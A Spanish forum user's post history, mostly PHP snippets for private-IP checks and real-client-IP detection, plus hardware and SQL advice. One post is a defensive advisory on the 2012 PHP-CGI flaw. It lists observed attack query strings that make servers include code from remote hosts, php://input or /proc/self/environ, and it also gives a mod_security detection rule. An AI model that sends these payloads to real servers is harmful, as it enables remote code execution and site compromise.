Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - el-brujo

#2961
me alegra mucho que hagas esa pregunta xD

Yo te eliminé la mayoría de tus comentarios de las noticias de ayer que eran un simple emoticono, como unos 20 mensajes respondiendo en cada mensaje  ;D  :-X  :rolleyes:  :( ...

Es más, incluso estabas baneado por otro miembro de la administración y yo te quité el ban....

Así que por favor no respondas impulsivamente las noticias para subir tus mensajes, o escribes una aportación de más de dos líneas para comentar la noticia o tus comentarios serán sistemáticamente borrados. Gracias.
#2963
Código (php) [Seleccionar]
function ip_is_private($ip)
{
       $pri_addrs = array(
                         '10.0.0.0|10.255.255.255',
                         '172.16.0.0|172.31.255.255',
                         '192.168.0.0|192.168.255.255',
                         '169.254.0.0|169.254.255.255',
                         '127.0.0.0|127.255.255.255'
                        );

       $long_ip = ip2long($ip);
       if($long_ip != -1) {

           foreach($pri_addrs AS $pri_addr)
           {
               list($start, $end) = explode('|', $pri_addr);

                // IF IS PRIVATE
                if($long_ip >= ip2long($start) && $long_ip <= ip2long($end))
                return (TRUE);
           }
   }

return (FALSE);
}



Código (php) [Seleccionar]
if ( ip_is_private ( $ip_address1 ) )
{
   printf ( "%s is from a private address range\n", $ip_address1 );
}



Con PHP 5.2 o superior


Código (php) [Seleccionar]
<?php
 
function is_private_ip($ip)
{
     return !
filter_var($ipFILTER_VALIDATE_IPFILTER_FLAG_NO_PRIV_RANGE);
}
?>


Código (php) [Seleccionar]
if(filter_var($ip, FILTER_FLAG_NO_PRIV_RANGE)) {
 // it's valid
}


CitarFILTER_VALIDATE_IP = validar una ip
FILTER_FLAG_IPV4 = validar una ip v4
FILTER_FLAG_NO_PRIV_RANGE = validar una ip rango privado
FILTER_FLAG_NO_RES_RANGE = validar una ip rango reservado
FILTER_FLAG_IPV6 = validar una ip v6

Ejemplo valdiar ip excluyendo ip's privadas y reservadas

Código (php) [Seleccionar]
if(filter_var($ip, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
 // it's valid
}
#2964
Código (php) [Seleccionar]

<?php
#
# file: JZOsig.php
# author: AnimAlf
#
# This lines are under the GNU General Public License.
# http://www.gnu.org/copyleft/gpl.html
#
# cph.keldenauto.com
#

header"Content-type: image/PNG" );

function 
RealIPget() {   
  if ( 
$_SERVER'HTTP_X_FORWARDED_FOR' ] != '' ) {
    
$client_ip =
      ( !empty( 
$_SERVER['REMOTE_ADDR' ]) ) ?
        
$_SERVER'REMOTE_ADDR' ]
          :
        ( ( !empty(
$_ENV'REMOTE_ADDR' ]) ) ?
        
$_ENV'REMOTE_ADDR' ]
           :
        
"unknown" );   
      
// los proxys van añadiendo al final de esta cabecera
      // las direcciones ip que van "ocultando". Para localizar la ip real
      // del usuario se comienza a mirar por el principio hasta encontrar
      // una dirección ip que no sea del rango privado. En caso de no
      // encontrarse ninguna se toma como valor el REMOTE_ADDR
      
$entries split'[, ]' $_SERVER 'HTTP_X_FORWARDED_FOR' ] );
   
      
reset$entries );
      while ( list( , 
$entry ) = each$entries ) )
      {
         
$entry trim$entry );
         if ( 
preg_match"/^([0-9]+.[0-9]+.[0-9]+.[0-9]+)/"$entry$ip_list ) )
         {
            
// http://www.faqs.org/rfcs/rfc1918.html
            
$private_ip = array(
                  
'/^0./',
                  
'/^127.0.0.1/',
                  
'/^192.168..*/',
                  
'/^172.((1[6-9])|(2[0-9])|(3[0-1]))..*/',
                  
'/^10..*/');
   
            
$found_ip preg_replace $private_ip$client_ip$ip_list ] );
   
            if ( 
$client_ip != $found_ip )
            {
               
$client_ip $found_ip;
               break;
            }
         }
      }
   }
   else
   {
      
$client_ip =
         ( !empty ( 
$_SERVER 'REMOTE_ADDR' ] ) ) ?
            
$_SERVER 'REMOTE_ADDR' ]
            :
            ( ( !empty ( 
$_ENV 'REMOTE_ADDR' ] ) ) ?
               
$_ENV 'REMOTE_ADDR' ]
               :
               
"unknown" );
   }
   return 
$client_ip;   
}

function 
DetectOs () {
  if(
eregi"linux",$_SERVER 'HTTP_USER_AGENT' ])){
    
$rtnStr "[GNU/Linux] Saludos a oOOoo TuXeR oOOoo";
  } elseif ( 
eregi "win32"$_SERVER 'HTTP_USER_AGENT' ] ) ||
      
eregi "Win 9x 4.90"$_SERVER 'HTTP_USER_AGENT' ] ) ||
      
eregi "windows 2000",$_SERVER ['HTTP_USER_AGENT' ] ) ||
      
eregi "(windows nt)( ){0,1}(5.0)"$_SERVER 'HTTP_USER_AGENT' ] ) ||
      
eregi "(windows nt)( ){0,1}(5.1)"$_SERVER 'HTTP_USER_AGENT' ] ) ||
      
eregi "(win)([0-9]{2})"$_SERVER 'HTTP_USER_AGENT' ], $regs ) ||
      
eregi "(windows) ([0-9]{2})"$_SERVER 'HTTP_USER_AGENT' ], $regs ) ||
      
eregi "(winnt)([0-9]{1,2}.[0-9]{1,2}){0,1}"$_SERVER 'HTTP_USER_AGENT' ], $regs ) ||
      
eregi "(windows nt)( ){0,1}([0-9]{1,2}.[0-9]{1,2}){0,1}"$_SERVER 'HTTP_USER_AGENT' ], $regs ) ) {
        
$rtnStr "Un Microsoftista por estos lares :))";
  } elseif ( 
eregi "mac"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
    
$rtnStr "(¯`·._.·-oOOoo-<[ Macintosh ]>-oOOoo-·._.·´¯)";
  } else {
    if ( 
eregi "(sunos) ([0-9]{1,2}.[0-9]{1,2}){0,1}",$_SERVER ['HTTP_USER_AGENT'],$regs ) ) {
      
$rtnStr "SunOS $regs[2]";
    } elseif ( 
eregi "(beos) r([0-9]{1,2}.[0-9]{1,2}){0,1}"$_SERVER 'HTTP_USER_AGENT' ], $regs ) ) {
      
$rtnStr "BeOS $regs[2]";
    } elseif ( 
eregi "freebsd"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
      
$rtnStr "FreeBSD";
    } elseif ( 
eregi "openbsd"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
      
$rtnStr "OpenBSD";
    } elseif ( 
eregi "irix"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
      
$rtnStr "IRIX";
    } elseif ( 
eregi "os/2"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
      
$rtnStr "OS/2";
    } elseif ( 
eregi "plan9"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
      
$rtnStr "Plan9";
    } elseif ( 
eregi "unix"$_SERVER 'HTTP_USER_AGENT' ] ) ||
      
eregi "hp-ux"$_SERVER 'HTTP_USER_AGENT' ] ) ||
        
eregi "X11"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
        
$rtnStr "Unix";
    } elseif(
eregi "osf"$_SERVER 'HTTP_USER_AGENT' ] ) ) {
      
$rtnStr "OSF";
    } else{
$rtnStr "TuMáquinA";
    
$rtnStr "CyberSurfeando con $rtnStr";
    }
  }
  return 
$rtnStr;
}

$tmpInt 1;
$linea $tmpInt ] = gethostbyaddr RealIPget () );
$tmpInt++;
$linea $tmpInt ] = DetectOs ();

$ancho 0$alto 0;
for ( 
$a=1$a<=$tmpInt$a++ ) {
  
$tmpBoximagettfbbox 13,0"./files/trebucit.ttf"$linea $a ] );
  if ( 
$tmpBox ] - $tmpBox ] > $ancho )
    
$ancho $tmpBox ] - $tmpBox ];
  if ( 
$tmpBox ] - $tmpBox ] > $alto )
    
$alto =  $tmpBox ] - $tmpBox];
}

$altoTotal =  $alto $tmpInt;

$im imagecreatefrompng "./img/fondo_banner.png" );
list ( 
$fondo_w$fondo_h ) = getimagesize "./img/fondo_banner.png" );

$im_tmp imagecreatefrompng"img/M3I4L.png" );
list ( 
$tux_w$tux_h ) = getimagesize "./img/M3I4L.png" );
imagecopy $im$im_tmp$fondo_w $tux_w 25$fondo_h $tux_h 3000$tux_w$tux_h );

$im_tmp imagecreatefrompng "./img/mosx_banner.png" );
list ( 
$mac_w$mac_h ) = getimagesize "./img/mosx_banner.png" );
imagecopy $im$im_tmp$fondo_w/$mac_w 16 $fondo_h $mac_h00$mac_w$mac_h );

$im_tmp imagecreatefrompng"img/mosx_tux.png" );
list ( 
$tux_w$tux_h ) = getimagesize "./img/mosx_tux.png" );
imagecopy $im$im_tmp$fondo_w $tux_w$fondo_h $tux_h00$tux_w$tux_h );

$im_tmp imagecreatefrompng"./img/GNU-Linux.png" );
list ( 
$tux_w$tux_h ) = getimagesize "./img/GNU-Linux.png" );
imagecopy $im$im_tmp0$fondo_h $tux_h00$tux_w$tux_h );

$semitrans imagecolorallocatealpha($im,  0x990x990x990x25);
imagefilledrectangle $im22$ancho 4$alto $tmpInt 6$semitrans );

$b=0;

for ( 
$a=1$a<=$tmpInt$a++ ) {
  
$b=!$b;
  if (
$b) {
    
$fontColor imagecolorallocate$im0255255 );
    
imagettftext $im1304$alto*$a$fontColor"./files/trebucit.ttf"$linea $a ] );
  } else {
    
$fontColor imagecolorallocate$im255255204 );
    
imagettftext $im1204$alto*$a$fontColor"./files/trebucit.ttf"$linea $a ] );
  }
}

$fontColor imagecolorallocate$im0156255 );
imagettftext $im131263$alto*$a 24$fontColor"./files/trebucit.ttf"RealIPget () );

//Mostramos el grafico en pantalla
imagepng $im );

//Liberamos memoria
imagedestroy $im );
?>
#2965
    Clase A: 10.0.0.0 a 10.255.255.255 (8 bits red, 24 bits hosts).
   Clase B: 172.16.0.0 a 172.31.255.255 (16 bits red, 16 bits hosts). 16 redes clase B contiguas, uso en universidades y grandes compañías.
   Clase C: 192.168.0.0 a 192.168.255.255 (24 bits red, 8 bits hosts). 256 redes clase C contiguas, uso de compañías medias y pequeñas además de pequeños proveedores de internet (ISP).



"Private Use" IP addresses:

       10.0.0.0 - 10.255.255.255
       172.16.0.0 - 172.31.255.255
       192.168.0.0 - 192.168.255.255

"Autoconfiguration" IP Addresses:

       169.254.0.0 - 169.254.255.255

"Loopback" IP addresses:

       127.0.0.0 - 127.255.255.255

Multicast IP addresses:

       224.0.0.0 - 239.255.255.255

https://www.iana.org/abuse/answers
http://es.wikipedia.org/wiki/Red_privada


en php:

Código (php) [Seleccionar]

function getRealIP()
{

  if( $_SERVER['HTTP_X_FORWARDED_FOR'] != '' )
  {
     $client_ip =
        ( !empty($_SERVER['REMOTE_ADDR']) ) ?
           $_SERVER['REMOTE_ADDR']
           :
           ( ( !empty($_ENV['REMOTE_ADDR']) ) ?
              $_ENV['REMOTE_ADDR']
              :
              "unknown" );

     // los proxys van añadiendo al final de esta cabecera
     // las direcciones ip que van "ocultando". Para localizar la ip real
     // del usuario se comienza a mirar por el principio hasta encontrar
     // una dirección ip que no sea del rango privado. En caso de no
     // encontrarse ninguna se toma como valor el REMOTE_ADDR

     $entries = preg_split('/[, ]/', $_SERVER['HTTP_X_FORWARDED_FOR']);

     reset($entries);
     while (list(, $entry) = each($entries))
     {
        $entry = trim($entry);
        if ( preg_match("/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/", $entry, $ip_list) )
        {
           // http://www.faqs.org/rfcs/rfc1918.html
           $private_ip = array(
                 '/^0\./',
                 '/^127\.0\.0\.1/',
                 '/^192\.168\..*/',
                 '/^172\.((1[6-9])|(2[0-9])|(3[0-1]))\..*/',
                 '/^10\..*/');

           $found_ip = preg_replace($private_ip, $client_ip, $ip_list[1]);

           if ($client_ip != $found_ip)
           {
              $client_ip = $found_ip;
              break;
           }
        }
     }
  }
  else
  {
     $client_ip =
        ( !empty($_SERVER['REMOTE_ADDR']) ) ?
           $_SERVER['REMOTE_ADDR']
           :
           ( ( !empty($_ENV['REMOTE_ADDR']) ) ?
              $_ENV['REMOTE_ADDR']
              :
              "unknown" );
  }

  return $client_ip;

}


$ip = getIp();

echo $ip;

#2966
¿La red lan tiene puerta de enlace?
#2968
Hardware / Re: como cambiar de procesador
15 Mayo 2012, 19:49 PM
Cómo norma general no se puede cambiar el procesador de un portátil.

El procesador no tiene ninguna limitación de ram, es el sistema operativo 32 bits.

Tu portátil tiene las dos ranuras de ram llenas, pero puedes quitar un módulo de 2gb y poner uno de 4gb.

Citar
Memory

    RAM 4.0 GB ( 2 x 2 GB )
    Max RAM Supported 8.0 GB
    Technology DDR3 SDRAM
    Speed 1333.0 MHz / PC3-10600
    Form Factor SO DIMM 204-pin
    Slots Qty 2
    Empty Slots 0.0

Indica el sistema operativo, imagino que Windows 7 y busca cómo otimitzarlo (seguramente desintalar ***** programas del Inicio y muchas otras cosas)....

No puede ser que un portátil con apenas dos años y un procesador i7 ya te vaya tan lento, algo has hecho mal xD

#2969
PHP / Grave vulnerabilidad PHP en modo CGI
15 Mayo 2012, 18:03 PM
Una vulnerabilidad vigente desde hace 8 años y la desucbren por casualidad  >:D

Apache mod_cgi

¿Cómo comprobar si su sitio es vulnerable?

Añadiendo -s? Al final de la URL  de cualquierscript PHP, como:

ww.tusitioweb.com/index.php?-s


?-s

http://example.com/index.php?-dauto_prepend_file%3d/etc/passwd+-n

Si ve el código PHP, el PHP es vulnerable.
Si ves a tu página normalmente, su sitio no se ve afectada.

    Allow_url_include: Permite el uso de fopen con algunas funciones como include, include_once,require, require_once.

    Auto_prepend_file: Permite especificar un archivo que será interpretado antes del fichero principal.


Ejemplos ataque (la mayoría intentando usar una webshell o ejecutando un backdoor)

/index.php?-s'
/index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
/index.php?-s/wp-admin/install.php'
/wordpress/index.php?-s'
/wp/index.php?-s'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
/index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'

¿Cómo mitigar el problema?
Si su sitio se ve afectada, y puede que tenga disponible y habilitado mod_rewrite en Apache, por favor, añadir a la htaccess la regla de reescritura.:

El siguiente código no funciona:

RewriteEngine on

RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]


Si funciona:

    RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
    RewriteRule ^(.*) $1? [L]


Regla con mod_security

SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

Solución:

Actualizar a PHP 5.4.3 and PHP 5.3.13
http://www.php.net/archive/2012.php#id2012-05-08-1

Fuentes:
http://ompldr.org/vZGxxaQ
http://www.php.net/archive/2012.php#id2012-05-03-1
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

En Español:
http://www.elladodelmal.com/2012/05/ejecutar-codigo-remoto-en-apache-con.html
http://www.pentester.es/2012/05/explotando-php-cgi.html

#2970
Puedes tomar el ejemplo la tabla topics de SMF 2


Código (sql) [Seleccionar]
CREATE TABLE {$db_prefix}topics (
  id_topic mediumint(8) unsigned NOT NULL auto_increment,
  is_sticky tinyint(4) NOT NULL default '0',
  id_board smallint(5) unsigned NOT NULL default '0',
  id_first_msg int(10) unsigned NOT NULL default '0',
  id_last_msg int(10) unsigned NOT NULL default '0',
  id_member_started mediumint(8) unsigned NOT NULL default '0',
  id_member_updated mediumint(8) unsigned NOT NULL default '0',
  id_poll mediumint(8) unsigned NOT NULL default '0',
  id_previous_board smallint(5) NOT NULL default '0',
  id_previous_topic mediumint(8) NOT NULL default '0',
  num_replies int(10) unsigned NOT NULL default '0',
  num_views int(10) unsigned NOT NULL default '0',
  locked tinyint(4) NOT NULL default '0',
  unapproved_posts smallint(5) NOT NULL default '0',
  approved tinyint(3) NOT NULL default '1',
  PRIMARY KEY (id_topic),
  UNIQUE last_message (id_last_msg, id_board),
  UNIQUE first_message (id_first_msg, id_board),
  UNIQUE poll (id_poll, id_topic),
  KEY is_sticky (is_sticky),
  KEY approved (approved),
  KEY id_board (id_board),
  KEY member_started (id_member_started, id_board),
  KEY last_message_sticky (id_board, is_sticky, id_last_msg),
  KEY board_news (id_board, id_first_msg)
) ENGINE=MyISAM;


Un consejo:

Deshágase de las tablas de texto

Con frecuencia, al hacer consultas de ordenación (sort), union (join) y otras operaciones, MySQL necesita para crear una tabla temporal. MySQL por lo general trata de crear estos como las tablas de memoria, sin embargo, si la tabla resultante es TEXT o BLOB, es incapaz de hacer esto, en lugar de crearlo como una tabla MyISAM en el disco. Esto puede matar a rendimiento si no se han / tmp montada en la memoria o si tiene un  key buffer pequeño.

La conversión de las columnas TINYTEXT a VARCHAR (255) es recomendado.

Fuente:
http://www.simplemachines.org/community/index.php?topic=293441.msg1935333#msg1935333